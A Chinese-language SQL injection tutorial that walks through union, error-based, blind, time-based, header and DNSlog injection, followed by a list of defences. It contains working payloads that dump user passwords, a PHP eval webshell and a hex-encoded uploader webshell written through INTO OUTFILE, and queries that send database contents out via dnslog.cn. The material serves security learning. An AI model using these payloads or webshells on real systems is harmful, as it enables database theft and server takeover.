23史上最全版---SQL注入详解

漏洞原因


一些概念:
SQL:用于数据库中的标准数据查询语言。

web分为前端和后端,前端负责进行展示,后端负责处理来自前端的请求并提供前端展示的资源。

而数据库就是存储资源的地方。

而服务器获取数据的方法就是使用SQL语句进行查询获取。

SQL注入:所谓的sql注入就是通过某种方式将恶意的sql代码添加到输入参数中,然后传递到sql服务器使其解析并执行的一种攻击手法

SQL可分为平台层注入代码层注入

平台层注入:由于不安全的数据库配置或数据库平台的漏洞导致。

代码层注入:程序员对输入没有细致地过滤,从而执行了非法地数据查询。

原因:在前后端数据的交互中,前端的数据传到后台处理时,没有做严格的判断,导致其传入的数据拼接到SQL语句中,被当成SQL语句的一部分执行,从而导致数据库受损,信息丢失。

总结版:后台服务器接收相关参数未经过过滤直接带入数据库查询。

例子:

比如这是一条前端URL:https://blog.csdn.net/aboutus.php?id=1
其后台sql语句:$sql=“SELECT 123 FROM abc WHERE id='1 '"

这条语句是采用拼接方式去对数据库内容进行查询的,而且并未对用户在前端输入的内容做过滤,并且用户对id这个参数可控,本来程序员设计这条查询语句是希望通过它去快速查询数据库中abc表的某个内容并且回显到前端页面来的,但是攻击者通过单引号’ 闭合数据库查询语句,并且可以构造这样的恶意url:https://blog.csdn.net/aboutus.php?id=-1 ’ select password from admin#去查询admin 用户的密码,而非查询预先程序员所设计好的数据内容。

其中:url中?代表传值的意思,id代表变量,等号代表变量的值。

浏览器通常使用 ? 来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的,因此URL中含有?说明就是使用GET方法传递参数。POST型注入和Cookie注入需要插件和工具才可进行。

过程
常见的注入方式:

参数类型分类:

数字型、字符型

注入手法分类:

联合查询注入、报错注入、基于布尔的盲注、基于时间的盲注、HTTP头注入、宽字节注入、堆叠查询、二阶注入。

数字型:
当输入的参数为整形时,若存在注入漏洞,则是数字型注入。

如:https://blog.csdn.net/aboutus.php?id=1

此时后台语句:$sql=“SELECT 123 FROM abc WHERE id='1 '"

检测方法:URL输入 and 1=1 / and 1=2 报错则说明有注入

字符型
当输入参数为字符串时,称为字符型注入。

它与数字型的区别:数字型不需要单引号来闭合,而字符串需要单引号来闭合。

例:https://blog.csdn.net/aboutus.php?id=1’

此时后台语句:$sql=“SELECT 123 FROM abc WHERE id='1 ’ ’ "

此时多出了一个单引号,破坏了原本的SQL语句结构,数据库无法处理,于是会报错,证明这条语句成功被带进数据库查询,存在字符型注入。

此时通过 --+把后面的单引号注释掉,SQL语句也会形成闭合。

所以我们可以这样:

?id = 1’ 攻击语句 --+

传入页面就变成了

select user from database where id = ‘1’ 攻击语句 – ’

–+:起注释作用,将后面的语句注释掉,在url中+相当于空格,–是注释符号,单行注释,之所以要加+号是因为–与单引号连在一起无法起注释作用因此必须把它们隔开

联合查询注入
联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化。

1.页面观察
输入id=1和id=2,若页面中值有变化,说明输入与数据库有交互

2.注入点判断
直接输入?id=1’若有报错则存在注入,开始判断可以从哪里注入,?id=2’1=2–+页面显示不正常,说明此处存在SQL注入,注入点在引号。

接下来开始使用SQL语句进行攻击。

3.使用order by判断当前表的字段个数
例:?id=1 order by n --+

若n超过当前表的列数,就会报错,说明表中只有n-1列

4.判断显示位
判断显示位时,要使用 ?id=-1 或者改为0 让前面的select语句查询为空错误,然后采用后面的select语句去查询:

?id=-1’ union select 1,2,3 --+

观察页面在哪里回显我们的输入,就可以用那个地方测试接下的语句。

5.爆数据库的名字
?id=1’ union select 1,database(),3 --+

在之前回显2的地方会回显database数据库的名字。

6.爆数据库中的表
?id=1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

数据库语句懒得解释了。

7.爆表中的字段
?id=1’ union select 1,group_concat(column_name),3 from information_schema.column where table_schema=’爆出来的数据库名‘ and table_name=‘爆出来的表名’ --+

8.爆相应字段的所有数据
?id=-1’ union select 1,group_concat(id,’–‘,username,’–',password),3 from users --+

9.报错注入
含义:就是在mysql中使用指定函数来制造报错,查询的时候加一些格式错误的信息,它会提示你格式错误,可以在中间加入一些其他信息,比如select database(),报错信息后面也会出现数据库信息.

10.报错注入:利用数据库的报错信息得到数据库的内容。因此需要构造语句让数据库报错。

三种报错注入的方法:

group by 重复健冲

and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.table group by x)a) --+

extractvalue()函数

?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+//获取数据库名字

extractvalue(xml_frag,xpath_expr);

函数接受两个参数,第一个为XML标记内容,也就是查询的内容,第二个为XPATH路径,也就是查询的路径。

如果没有匹配的内容,不管出于何种原因,只要路径有效并且查询的内容由正确嵌套和关闭的元素组成,返回空字符串。

但如果路径写入错误格式,就会报错并且返回我们写入的非法内容。

updatexml()函数

?id=1' and updatexml(1,conncat('^',(需要查询的内容),'^'),1) --+

updatexml(xml_target,xpath_expr,new_xml);

此函数将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml,然后返回更改的XML。

xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。

所有三个参数都应该是字符串。与extractvalue()类似,如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。

floor()函数
floor(x),返回小于或等于x的最大整数。

回显注入
回显注入:利用注入漏洞可以改变页面返回数据。

基于布尔的盲注
布尔盲注:即在页面不显示数据,只显示对错,此时我们输入的语句让页面呈现两种状态,相当于true和false,根据这两种状态判断我们输入的语句是否查询成功。

因此需要构造判断语句,根据页面是否回显证实猜想。

一般用到的函数:

ascii()、 substr()、length()、exists()、concat()等。

**substr(strings|express,m,[n])**函数:

strings|express :被截取的字符串或字符串表达式

m 从第m个字符开始截取

n 截取后字符串长度为n

concat()函数:concat ()方法用于连接两个或多个数组。用于输出在页面中。

步骤:

判断数据库类型
数据库可能的类型:

MySQL、 access、 SQL sever 、information_schema.tables、msysobjects、sysobjects

判断数据库名(数据库名长度、每个ASCII值)
判断库中的表名(表的个数、每个表名的长度和表名的ASCII)

//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
 
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
 
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值               
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

判断表中的字段名(字段个数、每个字段名长度、字段名的ASCII值)
爆字段中的数据(字段中的数据长度、数据的ASCII)

1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
 
2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........

基于时间的盲注
时间注入:通过返回时间的长短判断。

如:获取第一个字符的ascii码,判断是否大于115,不成立延时五秒返回。

补充:

sleep(5)的意思是延迟五秒。

if(expr1,expr2,expr3) 若expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。

例:

?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+

此处就是判断数据库名字的第二个字母。

用法类似布尔盲注。

HTTP头注入
常见的SQL注入一般是通过请求参数或是表单进行注入,而HTTP头注入是通过HTTP协议头部字段值进行注入。

条件:

能够对请求头信息进行修改
修改的请求头信息能带入数据库进行查询
数据库没有对输入的请求信息做过滤
user-Agent注入
cookie注入
Referer注入
X-Forwarded-For注入
宽字节注入
DNSLog注入
前置知识:

什么是dnslog?
dns服务主要是域名解析服务器将域名转换成ip时,会生成一个日志,主要记录:什么时候请求解析,什么域名,映射出什么ip;

但一般来说是看不到解析日志的,但有开放的平台:dnslog.cn

UNC:
UNC全名:universal naming convention,通用命名规则。其实是网络上的资源的格式,在Windows里使用。

mysql读写函数:

(mysql可以读写文件的。)

配置:

secure_file_priv的配置值分三种——

指定文件夹:读写导入导出只能发生在指定文件夹

不设置:不允许执行

null:无限制

读取文件过程:
读文件:LOAD_FILE()

限制:只能本机的文件且文件有读取权限,且字节数小于max_allowed_packet

判断文件有无读取权限:
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限
如果返回错误,应该是管理员给数据库账户降权。
如果文件不存在或者不能被读出,函数返回空。在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators 才能访问的文件,users 就别想 load_file 出来。

用法:select LOAD_FILE(‘E:\in.txt’);

两个难点:

绝对的物理路径
构造有效的畸形语句(报错出绝对路径)
在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露

WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务

器的安全将受到严重的威胁。

常用路径:http://www.cnblogs.com/lcamry/p/5729087.html

读取示例:

将文件导入进数据库:
LOAD DATA INFILE语句用于高速从一个文本文件中读取行并装入一个表中。文件名称必须为一个文字字符串。

示例:

load data infile '/temp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

含义:将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是

每一项数据之间的分隔符,lines terminated by 是行的结尾符。

注:当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑

/tmp 等文件夹。

导入到文件
格式:SELECT … INTO OUTFILE ‘file_name’

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE

权限,才能使用此语法。file_name 不能是一个已经存在的文件。

两种利用形式:

直接将select内容导入到文件中

select ... into outfile "c:\\phpnow\\htdocs\\test.php"
/*此处的...可以是一个函数如version()也可以是一句话如:<?php @eval($_post["111"]) ?>,或者其他内容

修改文件结尾

select version() into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16

解释:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php’的意思是将内容输入到outfile中。
LINES TERMINATED BY则是into outfile的参数,意思是行结尾的时候用by后面的内容,通常的一般为‘/r/n’,此处我们将by后的内容修改为后面的16进制的文件。16 进制可以为一句话或者其他任何的代码,可自行构造。

例如:

http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -

在 sqlmap 中 os-shell 采取的就是这样的方式,具体可参考 os-shell 分析文章:http://www.cnblogs.com/lcamry/p/5505110.html

DNSlog注入:

注入流程:

把select LOAD_FILE()注入到数据库访问日志文件
UNC构建DNS服务器地址(其实就是服务器子域名),假装访问文件,产生DNSLog

select load_file('aaa.yourid.dnslog.cn/byh');四个斜杠其实本来只有两个,还有两个是防止转义,/byh不能缺少,不然不是一个标准的路径

把子域名替换成函数或者查询SQL

select if((select load_file(concat('',database(),'yourid.dnslog.cn/byh'))),1,0);#其实就是把aaa换成了database()

最后我们使用的平台就会显示解析日志,在日志里就能看到查询的内容。

危害
数据库信息泄露:用户隐私信息泄露
网页篡改:通过操纵数据库对网页进行篡改
网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击
数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账户被篡改
服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统
破环硬盘数据,瘫痪全系统
防范
SQL漏洞修复和防范方法:

1、普通用户与系统管理员用户的权限要有严格的区分

2、 预编译,如使用参数化语句和绑定变量。

3、 加强对用户输入的验证,识别恶意内容,过滤掉某些危险语句。

4、 多使用SQL Server数据库自带的安全参数。

5、 转义,把用户的输入当成文本以及用斜杠来转义

6、数据库异常信息隐藏

6、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。

7、设置陷阱账号:

设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很象管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。

8、防火墙,限制同IP时间、禁IP访问、黑名单

9、对密码之类的信息进行加密

10.禁用某些参数,如secure file priv

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/219525.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

c语言编译优化引发问题

问题描述 同样的代码,不优化编译,可以正常执行,经过-O2优化编译后,代码被卡住.整体功能涉及多进程,多线程操作. 问题发现 经过加打印,发现卡在while(a!0);//死循环,等待特殊事件发生来解开循环 a初始化为-1; 过一会后,另外有个线程,当特定事件发生的时候,将a置为0; 通过加打…

【云备份】客户端实现 及 项目整体总结

文章目录 客户端客户端实现思想客户端文件操作类的设计与拷贝Util.hpp的设计data.hpp的设计Storage —— 持久化存储Initload——数据初始化加载 cloud.hpp的设计GetFileIdentifier——创建文件唯一标识Upload—— 文件上传IsNeedupload —— 客户端文件是否需要上传判断RunMod…

【原创分享】高功率电源PCB设计中变压器下方走线的关键技巧

高功率电源的设计中&#xff0c;变压器起到了电能的传递与转换的重要作用。变压器下方的走线设计不仅涉及到电路的功率传输效率&#xff0c;还与电磁兼容性&#xff08;EMC&#xff09;、热管理以及电路的可靠性密切相关。 1. 走线布局 在进行变压器下方走线设计时&#xff0c…

Vmware虚拟机简介和安装

作者&#xff1a;余小小 常见的虚拟机 vmwarevirtualBox Vmware 运行在win系统上centos运行在Vm上 先安装vm&#xff0c;在安装centos系统 Vmware介绍 不用分区或者重开机&#xff0c;就可以在同一台pc上使用多种操作系统完全隔离&#xff0c;且保护不同的操作系统环境和文…

Kubernetes常用工作负载控制器

文章目录 一、常用负载控制器是什么二、Deployment控制器1.介绍2.使用流程3.应用部署4.应用升级5.滚动升级实现原理&#xff08;replicaset控制器&#xff09;6.滚动升级实现流程7.滚动升级策略8.应用实例扩容和缩容9.应用发布失败回滚10.应用下线 三、DaemonSet控制器四、Job控…

Linux修改时区失败,手动修改localtime无效

有时候改了这个也不行&#xff0c;用命令行修改也不行 解决办法 &#xff1a;cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime 或者想改其他时区的直接 ll /usr/share/zoneinfo/ 查看

2023年1月18日 Go生态洞察:开发者的声音与Go的进化

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

WebGL开发交互式艺术品技术方案

开发交互式艺术品需要使用 WebGL 技术&#xff0c;并结合其他前端技术以实现丰富的用户体验。以下是一个可能的技术方案&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 1.WebGL 框架&#xff1a; 选…

AWS攻略——子网

文章目录 分配子网给Public子网分配互联网网关创建互联网网关附加到VPC 给Public子网创建路由表关联子网 打通Public子网和互联网网关 创建Public子网下的EC2进行测试配置Private子网路由给Private子网创建路由表附加在Private子网 创建Private子网下的EC2进行测试创建实例在跳…

Cannot resolve com.lxz.springcloud:cloud-api-commons:1.0-SNAPSHOT

原因可能是groupId等信息写错了 导入的jar包的groupId要与它自己的坐标匹配

创新、升级丨数据手套FOHEART Pro开启手势识别新篇章!

在人机交互领域&#xff0c;我们始终追求更加自然、逼真的体验。正如现实生活中&#xff0c;我们习惯于通过语言和表情来传达思想和情感&#xff0c;然而&#xff0c;在虚拟世界中&#xff0c;人机交互需要以更加直观、生动的方式进行操作、控制和交互。 为了更好地满足市场的…

Isaac Sim教程07 拓展编程Extension

Isaac Sim 拓展编程Extension 版权信息 Copyright 2023 Herman YeAuromix. All rights reserved.This course and all of its associated content, including but not limited to text, images, videos, and any other materials, are protected by copyright law. The aut…

出海风潮:中国母婴品牌征服国际市场的机遇与挑战!

近年来&#xff0c;中国母婴品牌在国内市场蓬勃发展的同时&#xff0c;也逐渐将目光投向国际市场。这一趋势不仅受益于中国经济的崛起&#xff0c;还得益于全球市场对高质量母婴产品的不断需求。然而&#xff0c;面对国际市场的机遇&#xff0c;中国母婴品牌同样面临着一系列挑…

【稳定检索|投稿优惠】2024年光电信息与机器人发展国际会议(ICOIRD 2024)

2024年光电信息与机器人发展国际会议(ICOIRD 2024) 2024 International Conference on Optoelectronic Information and Robot Development(ICOIRD 2024) 一、【会议简介】 信息技术与人工智能的浪潮正在激荡&#xff0c;不断刷新我们生活的页面&#xff0c;深刻烙印在光电信息…

如何为 3D 模型制作纹理的最佳方法

在线工具推荐&#xff1a; 3D数字孪生场景编辑器 - GLTF/GLB材质纹理编辑器 - 3D模型在线转换 - Three.js AI自动纹理开发包 - YOLO 虚幻合成数据生成器 - 三维模型预览图生成器 - 3D模型语义搜索引擎 您可以通过不同的方式为 3D 模型创建 3D 纹理。下面我们将介绍为 3D …

Django回顾6

目录 一.Session 1.什么是Session 2.Django中Session相关方法 3.Django中的Session配置 二.中间件 1.什么是中间件 中间件的定义 2.中间件有什么用 3.自定义中间件 process_request和process_reponse &#xff08;1&#xff09;导入 &#xff08;2&#xff09;自定义…

分享116个图片JS特效,总有一款适合您

分享116个图片JS特效&#xff0c;总有一款适合您 116个图片JS特效下载链接&#xff1a;https://pan.baidu.com/s/1WvUvmG1adR2EJG97MiGj3A?pwd6666 提取码&#xff1a;6666 Python采集代码下载链接&#xff1a;采集代码.zip - 蓝奏云 学习知识费力气&#xff0c;收集整…

网卡bonding绑定

目录 一、概念 1、概述&#xff1a; 二、实验 1、绑定案例&#xff1a; 一、概念 1、概述&#xff1a; 将多个物理网卡进行排列组合&#xff0c;形成逻辑网卡&#xff0c;网卡的高可用 绑定模式 mode0&#xff08;平衡负载模式&#xff09;&#xff1a;平时两块网卡均工…

安全AI系统开发指南

执行摘要 本文件建议为使用人工智能&#xff08;AI&#xff09;的任何系统的提供商提供指导方针&#xff0c;无论这些系统是从头开始创建的&#xff0c;还是建立在他人提供的工具和服务之上的。实施这些指导方针将有助于提供商构建按预期运行、在需要时可用的人工智能系统&…

“上云”还是“下云”?探云计算的下一站未来!

引言 10 月 27 日&#xff0c;X&#xff08;原Twitter&#xff09;工程技术发布帖子称&#xff0c;在过去的一年里&#xff0c;技术团队优化了 X 的云服务使用方式&#xff0c;着手将更多工作负载迁往本地基础设施。这一转变使 X 每月的云成本降低了 60%。所有媒体、Blob 存储均…